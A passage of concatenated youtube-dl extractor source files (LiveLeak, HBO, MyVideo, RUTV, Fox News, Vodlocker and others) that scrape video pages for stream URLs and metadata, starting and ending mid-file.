    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+src="https?://(?:\w+\.)?liveleak\.com/ll_embed\?(?:.*?)i=(?P<id>[\w_]+)(?:.*)',
            webpage)
        if mobj:
            return 'http://www.liveleak.com/view?i=%s' % mobj.group('id')

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_title = self._og_search_title(webpage).replace('LiveLeak.com -', '').strip()
        video_description = self._og_search_description(webpage)
        video_uploader = self._html_search_regex(
            r'By:.*?(\w+)</a>', webpage, 'uploader', fatal=False)
        age_limit = int_or_none(self._search_regex(
            r'you confirm that you are ([0-9]+) years and over.',
            webpage, 'age limit', default=None))
        video_thumbnail = self._og_search_thumbnail(webpage)

        sources_raw = self._search_regex(
            r'(?s)sources:\s*(\[.*?\]),', webpage, 'video URLs', default=None)
        if sources_raw is None:
            alt_source = self._search_regex(
                r'(file: ".*?"),', webpage, 'video URL', default=None)
            if alt_source:
                sources_raw = '[{ %s}]' % alt_source
            else:
                # Maybe an embed?
                embed_url = self._search_regex(
                    r'<iframe[^>]+src="(http://www.prochan.com/embed\?[^"]+)"',
                    webpage, 'embed URL')
                return {
                    '_type': 'url_transparent',
                    'url': embed_url,
                    'id': video_id,
                    'title': video_title,
                    'description': video_description,
                    'uploader': video_uploader,
                    'age_limit': age_limit,
                }

        sources_json = re.sub(r'\s([a-z]+):\s', r'"\1": ', sources_raw)
        sources = json.loads(sources_json)

        formats = [{
            'format_id': '%s' % i,
            'format_note': s.get('label'),
            'url': s['file'],
        } for i, s in enumerate(sources)]
        for i, s in enumerate(sources):
            # Removing '.h264_*.mp4' gives the raw video, which is essentially
            # the same video without the LiveLeak logo at the top (see
            # https://github.com/rg3/youtube-dl/pull/4768)
            orig_url = re.sub(r'\.h264_.+?\.mp4', '', s['file'])
            if s['file'] != orig_url:
                formats.append({
                    'format_id': 'original-%s' % i,
                    'format_note': s.get('label'),
                    'url': orig_url,
                    'preference': 1,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_title,
            'description': video_description,
            'uploader': video_uploader,
            'formats': formats,
            'age_limit': age_limit,
            'thumbnail': video_thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    xpath_text,
    xpath_element,
    int_or_none,
    parse_duration,
)


class HBOIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hbo\.com/video/video\.html\?.*vid=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.hbo.com/video/video.html?autoplay=true&g=u&vid=1437839',
        'md5': '1c33253f0c7782142c993c0ba62a8753',
        'info_dict': {
            'id': '1437839',
            'ext': 'mp4',
            'title': 'Ep. 64 Clip: Encryption',
        }
    }
    _FORMATS_INFO = {
        '1920': {
            'width': 1280,
            'height': 720,
        },
        '640': {
            'width': 768,
            'height': 432,
        },
        'highwifi': {
            'width': 640,
            'height': 360,
        },
        'high3g': {
            'width': 640,
            'height': 360,
        },
        'medwifi': {
            'width': 400,
            'height': 224,
        },
        'med3g': {
            'width': 400,
            'height': 224,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_xml(
            'http://render.lv3.hbo.com/data/content/global/videos/data/%s.xml' % video_id, video_id)
        title = xpath_text(video_data, 'title', 'title', True)

        formats = []
        for source in xpath_element(video_data, 'videos', 'sources', True):
            if source.tag == 'size':
                path = xpath_text(source, './/path')
                if not path:
                    continue
                width = source.attrib.get('width')
                format_info = self._FORMATS_INFO.get(width, {})
                height = format_info.get('height')
                fmt = {
                    'url': path,
                    'format_id': 'http%s' % ('-%dp' % height if height else ''),
                    'width': format_info.get('width'),
                    'height': height,
                }
                rtmp = re.search(r'^(?P<url>rtmpe?://[^/]+/(?P<app>.+))/(?P<playpath>mp4:.+)$', path)
                if rtmp:
                    fmt.update({
                        'url': rtmp.group('url'),
                        'play_path': rtmp.group('playpath'),
                        'app': rtmp.group('app'),
                        'ext': 'flv',
                        'format_id': fmt['format_id'].replace('http', 'rtmp'),
                    })
                formats.append(fmt)
            else:
                video_url = source.text
                if not video_url:
                    continue
                if source.tag == 'tarball':
                    formats.extend(self._extract_m3u8_formats(
                        video_url.replace('.tar', '/base_index_w8.m3u8'),
                        video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
                else:
                    format_info = self._FORMATS_INFO.get(source.tag, {})
                    formats.append({
                        'format_id': 'http-%s' % source.tag,
                        'url': video_url,
                        'width': format_info.get('width'),
                        'height': format_info.get('height'),
                    })
        self._sort_formats(formats, ('width', 'height', 'tbr', 'format_id'))

        thumbnails = []
        card_sizes = xpath_element(video_data, 'titleCardSizes')
        if card_sizes is not None:
            for size in card_sizes:
                path = xpath_text(size, 'path')
                if not path:
                    continue
                width = int_or_none(size.get('width'))
                thumbnails.append({
                    'id': width,
                    'url': path,
                    'width': width,
                })

        return {
            'id': video_id,
            'title': title,
            'duration': parse_duration(xpath_element(video_data, 'duration/tv14')),
            'formats': formats,
            'thumbnails': thumbnails,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .screenwavemedia import ScreenwaveMediaIE

from ..utils import (
    unified_strdate,
)


class NormalbootsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?normalboots\.com/video/(?P<id>[0-9a-z-]*)/?$'
    _TEST = {
        'url': 'http://normalboots.com/video/home-alone-games-jontron/',
        'info_dict': {
            'id': 'home-alone-games-jontron',
            'ext': 'mp4',
            'title': 'Home Alone Games - JonTron - NormalBoots',
            'description': 'Jon is late for Christmas. Typical. Thanks to: Paul Ritchey for Co-Writing/Filming: http://www.youtube.com/user/ContinueShow Michael Azzi for Christmas Intro Animation: http://michafrar.tumblr.com/ Jerrod Waters for Christmas Intro Music: http://www.youtube.com/user/xXJerryTerryXx Casey Ormond for ‘Tense Battle Theme’:\xa0http://www.youtube.com/Kiamet/',
            'uploader': 'JonTron',
            'upload_date': '20140125',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['ScreenwaveMedia'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_uploader = self._html_search_regex(
            r'Posted\sby\s<a\shref="[A-Za-z0-9/]*">(?P<uploader>[A-Za-z]*)\s</a>',
            webpage, 'uploader', fatal=False)
        video_upload_date = unified_strdate(self._html_search_regex(
            r'<span style="text-transform:uppercase; font-size:inherit;">[A-Za-z]+, (?P<date>.*)</span>',
            webpage, 'date', fatal=False))

        screenwavemedia_url = self._html_search_regex(
            ScreenwaveMediaIE.EMBED_PATTERN, webpage, 'screenwave URL',
            group='url')

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': screenwavemedia_url,
            'ie_key': ScreenwaveMediaIE.ie_key(),
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'uploader': video_uploader,
            'upload_date': video_upload_date,
        }






from __future__ import unicode_literals

import binascii
import base64
import hashlib
import re
import json

from .common import InfoExtractor
from ..compat import (
    compat_ord,
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlencode,
)
from ..utils import (
    ExtractorError,
    sanitized_Request,
)


class MyVideoIE(InfoExtractor):
    _WORKING = False
    _VALID_URL = r'https?://(?:www\.)?myvideo\.de/(?:[^/]+/)?watch/(?P<id>[0-9]+)/[^?/]+.*'
    IE_NAME = 'myvideo'
    _TEST = {
        'url': 'http://www.myvideo.de/watch/8229274/bowling_fail_or_win',
        'md5': '2d2753e8130479ba2cb7e0a37002053e',
        'info_dict': {
            'id': '8229274',
            'ext': 'flv',
            'title': 'bowling-fail-or-win',
        }
    }

    # Original Code from: https://github.com/dersphere/plugin.video.myvideo_de.git
    # Released into the Public Domain by Tristan Fischer on 2013-05-19
    # https://github.com/rg3/youtube-dl/pull/842
    def __rc4crypt(self, data, key):
        x = 0
        box = list(range(256))
        for i in list(range(256)):
            x = (x + box[i] + compat_ord(key[i % len(key)])) % 256
            box[i], box[x] = box[x], box[i]
        x = 0
        y = 0
        out = ''
        for char in data:
            x = (x + 1) % 256
            y = (y + box[x]) % 256
            box[x], box[y] = box[y], box[x]
            out += chr(compat_ord(char) ^ box[(box[x] + box[y]) % 256])
        return out

    def __md5(self, s):
        return hashlib.md5(s).hexdigest().encode()

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        GK = (
            b'WXpnME1EZGhNRGhpTTJNM01XVmhOREU0WldNNVpHTTJOakpt'
            b'TW1FMU5tVTBNR05pWkRaa05XRXhNVFJoWVRVd1ptSXhaVEV3'
            b'TnpsbA0KTVRkbU1tSTRNdz09'
        )

        # Get video webpage
        webpage_url = 'http://www.myvideo.de/watch/%s' % video_id
        webpage = self._download_webpage(webpage_url, video_id)

        mobj = re.search('source src=\'(.+?)[.]([^.]+)\'', webpage)
        if mobj is not None:
            self.report_extraction(video_id)
            video_url = mobj.group(1) + '.flv'

            video_title = self._html_search_regex('<title>([^<]+)</title>',
                                                  webpage, 'title')

            return {
                'id': video_id,
                'url': video_url,
                'title': video_title,
            }

        mobj = re.search(r'data-video-service="/service/data/video/%s/config' % video_id, webpage)
        if mobj is not None:
            request = sanitized_Request('http://www.myvideo.de/service/data/video/%s/config' % video_id, '')
            response = self._download_webpage(request, video_id,
                                              'Downloading video info')
            info = json.loads(base64.b64decode(response).decode('utf-8'))
            return {
                'id': video_id,
                'title': info['title'],
                'url': info['streaming_url'].replace('rtmpe', 'rtmpt'),
                'play_path': info['filename'],
                'ext': 'flv',
                'thumbnail': info['thumbnail'][0]['url'],
            }

        # try encxml
        mobj = re.search('var flashvars={(.+?)}', webpage)
        if mobj is None:
            raise ExtractorError('Unable to extract video')

        params = {}
        encxml = ''
        sec = mobj.group(1)
        for (a, b) in re.findall('(.+?):\'(.+?)\',?', sec):
            if not a == '_encxml':
                params[a] = b
            else:
                encxml = compat_urllib_parse_unquote(b)
        if not params.get('domain'):
            params['domain'] = 'www.myvideo.de'
        xmldata_url = '%s?%s' % (encxml, compat_urllib_parse_urlencode(params))
        if 'flash_playertype=MTV' in xmldata_url:
            self._downloader.report_warning('avoiding MTV player')
            xmldata_url = (
                'http://www.myvideo.de/dynamic/get_player_video_xml.php'
                '?flash_playertype=D&ID=%s&_countlimit=4&autorun=yes'
            ) % video_id

        # get enc data
        enc_data = self._download_webpage(xmldata_url, video_id).split('=')[1]
        enc_data_b = binascii.unhexlify(enc_data)
        sk = self.__md5(
            base64.b64decode(base64.b64decode(GK)) +
            self.__md5(
                str(video_id).encode('utf-8')
            )
        )
        dec_data = self.__rc4crypt(enc_data_b, sk)

        # extracting infos
        self.report_extraction(video_id)

        video_url = None
        mobj = re.search('connectionurl=\'(.*?)\'', dec_data)
        if mobj:
            video_url = compat_urllib_parse_unquote(mobj.group(1))
            if 'myvideo2flash' in video_url:
                self.report_warning(
                    'Rewriting URL to use unencrypted rtmp:// ...',
                    video_id)
                video_url = video_url.replace('rtmpe://', 'rtmp://')

        if not video_url:
            # extract non rtmp videos
            mobj = re.search('path=\'(http.*?)\' source=\'(.*?)\'', dec_data)
            if mobj is None:
                raise ExtractorError('unable to extract url')
            video_url = compat_urllib_parse_unquote(mobj.group(1)) + compat_urllib_parse_unquote(mobj.group(2))

        video_file = self._search_regex('source=\'(.*?)\'', dec_data, 'video file')
        video_file = compat_urllib_parse_unquote(video_file)

        if not video_file.endswith('f4m'):
            ppath, prefix = video_file.split('.')
            video_playpath = '%s:%s' % (prefix, ppath)
        else:
            video_playpath = ''

        video_swfobj = self._search_regex('swfobject.embedSWF\(\'(.+?)\'', webpage, 'swfobj')
        video_swfobj = compat_urllib_parse_unquote(video_swfobj)

        video_title = self._html_search_regex("<h1(?: class='globalHd')?>(.*?)</h1>",
                                              webpage, 'title')

        return {
            'id': video_id,
            'url': video_url,
            'tc_url': video_url,
            'title': video_title,
            'ext': 'flv',
            'play_path': video_playpath,
            'player_url': video_swfobj,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import smuggle_url


class CNBCIE(InfoExtractor):
    _VALID_URL = r'https?://video\.cnbc\.com/gallery/\?video=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://video.cnbc.com/gallery/?video=3000503714',
        'info_dict': {
            'id': '3000503714',
            'ext': 'mp4',
            'title': 'Fighting zombies is big business',
            'description': 'md5:0c100d8e1a7947bd2feec9a5550e519e',
            'timestamp': 1459332000,
            'upload_date': '20160330',
            'uploader': 'NBCU-CNBC',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(
                'http://link.theplatform.com/s/gZWlPC/media/guid/2408950221/%s?mbr=true&manifest=m3u' % video_id,
                {'force_smil_url': True}),
            'id': video_id,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import (
    determine_ext,
    float_or_none,
    get_element_by_id,
    int_or_none,
    parse_iso8601,
    str_to_int,
)


class IzleseneIE(InfoExtractor):
    _VALID_URL = r'''(?x)
        https?://(?:(?:www|m)\.)?izlesene\.com/
        (?:video|embedplayer)/(?:[^/]+/)?(?P<id>[0-9]+)
        '''
    _TESTS = [
        {
            'url': 'http://www.izlesene.com/video/sevincten-cildirtan-dogum-gunu-hediyesi/7599694',
            'md5': '4384f9f0ea65086734b881085ee05ac2',
            'info_dict': {
                'id': '7599694',
                'ext': 'mp4',
                'title': 'Sevinçten Çıldırtan Doğum Günü Hediyesi',
                'description': 'md5:253753e2655dde93f59f74b572454f6d',
                'thumbnail': 're:^https?://.*\.jpg',
                'uploader_id': 'pelikzzle',
                'timestamp': int,
                'upload_date': '20140702',
                'duration': 95.395,
                'age_limit': 0,
            }
        },
        {
            'url': 'http://www.izlesene.com/video/tarkan-dortmund-2006-konseri/17997',
            'md5': '97f09b6872bffa284cb7fa4f6910cb72',
            'info_dict': {
                'id': '17997',
                'ext': 'mp4',
                'title': 'Tarkan Dortmund 2006 Konseri',
                'thumbnail': 're:^https://.*\.jpg',
                'uploader_id': 'parlayankiz',
                'timestamp': int,
                'upload_date': '20061112',
                'duration': 253.666,
                'age_limit': 0,
            }
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        url = 'http://www.izlesene.com/video/%s' % video_id
        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage, default=None)
        thumbnail = self._proto_relative_url(
            self._og_search_thumbnail(webpage), scheme='http:')

        uploader = self._html_search_regex(
            r"adduserUsername\s*=\s*'([^']+)';",
            webpage, 'uploader', fatal=False)
        timestamp = parse_iso8601(self._html_search_meta(
            'uploadDate', webpage, 'upload date'))

        duration = float_or_none(self._html_search_regex(
            r'"videoduration"\s*:\s*"([^"]+)"',
            webpage, 'duration', fatal=False), scale=1000)

        view_count = str_to_int(get_element_by_id('videoViewCount', webpage))
        comment_count = self._html_search_regex(
            r'comment_count\s*=\s*\'([^\']+)\';',
            webpage, 'comment_count', fatal=False)

        content_url = self._html_search_meta(
            'contentURL', webpage, 'content URL', fatal=False)
        ext = determine_ext(content_url, 'mp4')

        # Might be empty for some videos.
        streams = self._html_search_regex(
            r'"qualitylevel"\s*:\s*"([^"]+)"', webpage, 'streams', default='')

        formats = []
        if streams:
            for stream in streams.split('|'):
                quality, url = re.search(r'\[(\w+)\](.+)', stream).groups()
                formats.append({
                    'format_id': '%sp' % quality if quality else 'sd',
                    'url': compat_urllib_parse_unquote(url),
                    'ext': ext,
                })
        else:
            stream_url = self._search_regex(
                r'"streamurl"\s*:\s*"([^"]+)"', webpage, 'stream URL')
            formats.append({
                'format_id': 'sd',
                'url': compat_urllib_parse_unquote(stream_url),
                'ext': ext,
            })

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader_id': uploader,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': int_or_none(view_count),
            'comment_count': int_or_none(comment_count),
            'age_limit': self._family_friendly_search(webpage),
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    qualities,
)


class CrooksAndLiarsIE(InfoExtractor):
    _VALID_URL = r'https?://embed\.crooksandliars\.com/(?:embed|v)/(?P<id>[A-Za-z0-9]+)'
    _TESTS = [{
        'url': 'https://embed.crooksandliars.com/embed/8RUoRhRi',
        'info_dict': {
            'id': '8RUoRhRi',
            'ext': 'mp4',
            'title': 'Fox & Friends Says Protecting Atheists From Discrimination Is Anti-Christian!',
            'description': 'md5:e1a46ad1650e3a5ec7196d432799127f',
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1428207000,
            'upload_date': '20150405',
            'uploader': 'Heather',
            'duration': 236,
        }
    }, {
        'url': 'http://embed.crooksandliars.com/v/MTE3MjUtMzQ2MzA',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://embed.crooksandliars.com/embed/%s' % video_id, video_id)

        manifest = self._parse_json(
            self._search_regex(
                r'var\s+manifest\s*=\s*({.+?})\n', webpage, 'manifest JSON'),
            video_id)

        quality = qualities(('webm_low', 'mp4_low', 'webm_high', 'mp4_high'))

        formats = [{
            'url': item['url'],
            'format_id': item['type'],
            'quality': quality(item['type']),
        } for item in manifest['flavors'] if item['mime'].startswith('video/')]
        self._sort_formats(formats)

        return {
            'url': url,
            'id': video_id,
            'title': manifest['title'],
            'description': manifest.get('description'),
            'thumbnail': self._proto_relative_url(manifest.get('poster')),
            'timestamp': int_or_none(manifest.get('created')),
            'uploader': manifest.get('author'),
            'duration': int_or_none(manifest.get('duration')),
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none
)


class RUTVIE(InfoExtractor):
    IE_DESC = 'RUTV.RU'
    _VALID_URL = r'''(?x)
        https?://player\.(?:rutv\.ru|vgtrk\.com)/
            (?P<path>flash\d+v/container\.swf\?id=
            |iframe/(?P<type>swf|video|live)/id/
            |index/iframe/cast_id/)
            (?P<id>\d+)'''

    _TESTS = [
        {
            'url': 'http://player.rutv.ru/flash2v/container.swf?id=774471&sid=kultura&fbv=true&isPlay=true&ssl=false&i=560&acc_video_id=episode_id/972347/video_id/978186/brand_id/31724',
            'info_dict': {
                'id': '774471',
                'ext': 'mp4',
                'title': 'Монологи на все времена',
                'description': 'md5:18d8b5e6a41fb1faa53819471852d5d5',
                'duration': 2906,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'https://player.vgtrk.com/flash2v/container.swf?id=774016&sid=russiatv&fbv=true&isPlay=true&ssl=false&i=560&acc_video_id=episode_id/972098/video_id/977760/brand_id/57638',
            'info_dict': {
                'id': '774016',
                'ext': 'mp4',
                'title': 'Чужой в семье Сталина',
                'description': '',
                'duration': 2539,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://player.rutv.ru/iframe/swf/id/766888/sid/hitech/?acc_video_id=4000',
            'info_dict': {
                'id': '766888',
                'ext': 'mp4',
                'title': 'Вести.net: интернет-гиганты начали перетягивание программных "одеял"',
                'description': 'md5:65ddd47f9830c4f42ed6475f8730c995',
                'duration': 279,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://player.rutv.ru/iframe/video/id/771852/start_zoom/true/showZoomBtn/false/sid/russiatv/?acc_video_id=episode_id/970443/video_id/975648/brand_id/5169',
            'info_dict': {
                'id': '771852',
                'ext': 'mp4',
                'title': 'Прямой эфир. Жертвы загадочной болезни: смерть от старости в 17 лет',
                'description': 'md5:b81c8c55247a4bd996b43ce17395b2d8',
                'duration': 3096,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://player.rutv.ru/iframe/live/id/51499/showZoomBtn/false/isPlay/true/sid/sochi2014',
            'info_dict': {
                'id': '51499',
                'ext': 'flv',
                'title': 'Сочи-2014. Биатлон. Индивидуальная гонка. Мужчины ',
                'description': 'md5:9e0ed5c9d2fa1efbfdfed90c9a6d179c',
            },
            'skip': 'Translation has finished',
        },
        {
            'url': 'http://player.rutv.ru/iframe/live/id/21/showZoomBtn/false/isPlay/true/',
            'info_dict': {
                'id': '21',
                'ext': 'mp4',
                'title': 're:^Россия 24. Прямой эфир [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
                'is_live': True,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
    ]

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://player\.(?:rutv\.ru|vgtrk\.com)/(?:iframe/(?:swf|video|live)/id|index/iframe/cast_id)/.+?)\1', webpage)
        if mobj:
            return mobj.group('url')

        mobj = re.search(
            r'<meta[^>]+?property=(["\'])og:video\1[^>]+?content=(["\'])(?P<url>https?://player\.(?:rutv\.ru|vgtrk\.com)/flash\d+v/container\.swf\?id=.+?\2)',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        video_path = mobj.group('path')

        if re.match(r'flash\d+v', video_path):
            video_type = 'video'
        elif video_path.startswith('iframe'):
            video_type = mobj.group('type')
            if video_type == 'swf':
                video_type = 'video'
        elif video_path.startswith('index/iframe/cast_id'):
            video_type = 'live'

        is_live = video_type == 'live'

        json_data = self._download_json(
            'http://player.rutv.ru/iframe/data%s/id/%s' % ('live' if is_live else 'video', video_id),
            video_id, 'Downloading JSON')

        if json_data['errors']:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, json_data['errors']), expected=True)

        playlist = json_data['data']['playlist']
        medialist = playlist['medialist']
        media = medialist[0]

        if media['errors']:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, media['errors']), expected=True)

        view_count = playlist.get('count_views')
        priority_transport = playlist['priority_transport']

        thumbnail = media['picture']
        width = int_or_none(media['width'])
        height = int_or_none(media['height'])
        description = media['anons']
        title = media['title']
        duration = int_or_none(media.get('duration'))

        formats = []

        for transport, links in media['sources'].items():
            for quality, url in links.items():
                preference = -1 if priority_transport == transport else -2
                if transport == 'rtmp':
                    mobj = re.search(r'^(?P<url>rtmp://[^/]+/(?P<app>.+))/(?P<playpath>.+)$', url)
                    if not mobj:
                        continue
                    fmt = {
                        'url': mobj.group('url'),
                        'play_path': mobj.group('playpath'),
                        'app': mobj.group('app'),
                        'page_url': 'http://player.rutv.ru',
                        'player_url': 'http://player.rutv.ru/flash3v/osmf.swf?i=22',
                        'rtmp_live': True,
                        'ext': 'flv',
                        'vbr': int(quality),
                        'preference': preference,
                    }
                elif transport == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        url, video_id, 'mp4', preference=preference, m3u8_id='hls'))
                    continue
                else:
                    fmt = {
                        'url': url
                    }
                fmt.update({
                    'width': width,
                    'height': height,
                    'format_id': '%s-%s' % (transport, quality),
                })
                formats.append(fmt)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._live_title(title) if is_live else title,
            'description': description,
            'thumbnail': thumbnail,
            'view_count': view_count,
            'duration': duration,
            'formats': formats,
            'is_live': is_live,
        }






from __future__ import unicode_literals

import re

from .amp import AMPIE


class FoxNewsIE(AMPIE):
    IE_DESC = 'Fox News and Fox Business Video'
    _VALID_URL = r'https?://(?P<host>video\.fox(?:news|business)\.com)/v/(?:video-embed\.html\?video_id=)?(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://video.foxnews.com/v/3937480/frozen-in-time/#sp=show-clips',
            'md5': '32aaded6ba3ef0d1c04e238d01031e5e',
            'info_dict': {
                'id': '3937480',
                'ext': 'flv',
                'title': 'Frozen in Time',
                'description': '16-year-old girl is size of toddler',
                'duration': 265,
                'timestamp': 1304411491,
                'upload_date': '20110503',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://video.foxnews.com/v/3922535568001/rep-luis-gutierrez-on-if-obamas-immigration-plan-is-legal/#sp=show-clips',
            'md5': '5846c64a1ea05ec78175421b8323e2df',
            'info_dict': {
                'id': '3922535568001',
                'ext': 'mp4',
                'title': "Rep. Luis Gutierrez on if Obama's immigration plan is legal",
                'description': "Congressman discusses president's plan",
                'duration': 292,
                'timestamp': 1417662047,
                'upload_date': '20141204',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://video.foxnews.com/v/video-embed.html?video_id=3937480&d=video.foxnews.com',
            'only_matching': True,
        },
        {
            'url': 'http://video.foxbusiness.com/v/4442309889001',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        host, video_id = re.match(self._VALID_URL, url).groups()

        info = self._extract_feed_info(
            'http://%s/v/feed/video/%s.js?template=fox' % (host, video_id))
        info['id'] = video_id
        return info






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    str_to_int,
    ExtractorError
)


class AppleConnectIE(InfoExtractor):
    _VALID_URL = r'https?://itunes\.apple\.com/\w{0,2}/?post/idsa\.(?P<id>[\w-]+)'
    _TEST = {
        'url': 'https://itunes.apple.com/us/post/idsa.4ab17a39-2720-11e5-96c5-a5b38f6c42d3',
        'md5': '10d0f2799111df4cb1c924520ca78f98',
        'info_dict': {
            'id': '4ab17a39-2720-11e5-96c5-a5b38f6c42d3',
            'ext': 'm4v',
            'title': 'Energy',
            'uploader': 'Drake',
            'thumbnail': 'http://is5.mzstatic.com/image/thumb/Video5/v4/78/61/c5/7861c5fa-ad6d-294b-1464-cf7605b911d6/source/1920x1080sr.jpg',
            'upload_date': '20150710',
            'timestamp': 1436545535,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        try:
            video_json = self._html_search_regex(
                r'class="auc-video-data">(\{.*?\})', webpage, 'json')
        except ExtractorError:
            raise ExtractorError('This post doesn\'t contain a video', expected=True)

        video_data = self._parse_json(video_json, video_id)
        timestamp = str_to_int(self._html_search_regex(r'data-timestamp="(\d+)"', webpage, 'timestamp'))
        like_count = str_to_int(self._html_search_regex(r'(\d+) Loves', webpage, 'like count'))

        return {
            'id': video_id,
            'url': video_data['sslSrc'],
            'title': video_data['title'],
            'description': video_data['description'],
            'uploader': video_data['artistName'],
            'thumbnail': video_data['artworkUrl'],
            'timestamp': timestamp,
            'like_count': like_count,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    NO_DEFAULT,
    sanitized_Request,
    urlencode_postdata,
)


class VodlockerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vodlocker\.(?:com|city)/(?:embed-)?(?P<id>[0-9a-zA-Z]+)(?:\..*?)?'

    _TESTS = [{
        'url': 'http://vodlocker.com/e8wvyzz4sl42',
        'md5': 'ce0c2d18fa0735f1bd91b69b0e54aacf',
        'info_dict': {
            'id': 'e8wvyzz4sl42',
            'ext': 'mp4',
            'title': 'Germany vs Brazil',
            'thumbnail': 're:http://.*\.jpg',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        if any(p in webpage for p in (
                '>THIS FILE WAS DELETED<',
                '>File Not Found<',
                'The file you were looking for could not be found, sorry for any inconvenience.<')):
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        fields = self._hidden_inputs(webpage)

        if fields['op'] == 'download1':
            self._sleep(3, video_id)  # they do detect when requests happen too fast!
            post = urlencode_postdata(fields)
            req = sanitized_Request(url, post)
            req.add_header('Content-type', 'application/x-www-form-urlencoded')
            webpage = self._download_webpage(
                req, video_id, 'Downloading video page')

        def extract_file_url(html, default=NO_DEFAULT):
            return self._search_regex(
                r'file:\s*"(http[^\"]+)",', html, 'file url', default=default)

        video_url = extract_file_url(webpage, default=None)

        if not video_url:
            embed_url = self._search_regex(
                r'<iframe[^>]+src=(["\'])(?P<url>(?:https?://)?vodlocker\.(?:com|city)/embed-.+?)\1',
                webpage, 'embed url', group='url')
            embed_webpage = self._download_webpage(
                embed_url, video_id, 'Downloading embed webpage')
            video_url = extract_file_url(embed_webpage)
            thumbnail_webpage = embed_webpage
        else:
            thumbnail_webpage = webpage

        title = self._search_regex(
            r'id="file_title".*?>\s*(.*?)\s*<(?:br|span)', webpage, 'title')
        thumbnail = self._search_regex(
            r'image:\s*"(http[^\"]+)",', thumbnail_webpage, 'thumbnail', fatal=False)

        formats = [{
            'format_id': 'sd',
            'url': video_url,
        }]

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..aes import aes_decrypt_text
from ..compat import (
    compat_str,
    compat_urllib_parse_unquote,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    str_to_int,
    strip_or_none,
)


class KeezMoviesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?keezmovies\.com/video/(?:(?P<display_id>[^/]+)-)?(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.keezmovies.com/video/petite-asian-lady-mai-playing-in-bathtub-1214711',
        'md5': '1c1e75d22ffa53320f45eeb07bc4cdc0',
        'info_dict': {
            'id': '1214711',
            'display_id': 'petite-asian-lady-mai-playing-in-bathtub',
            'ext': 'mp4',
            'title': 'Petite Asian Lady Mai Playing In Bathtub',
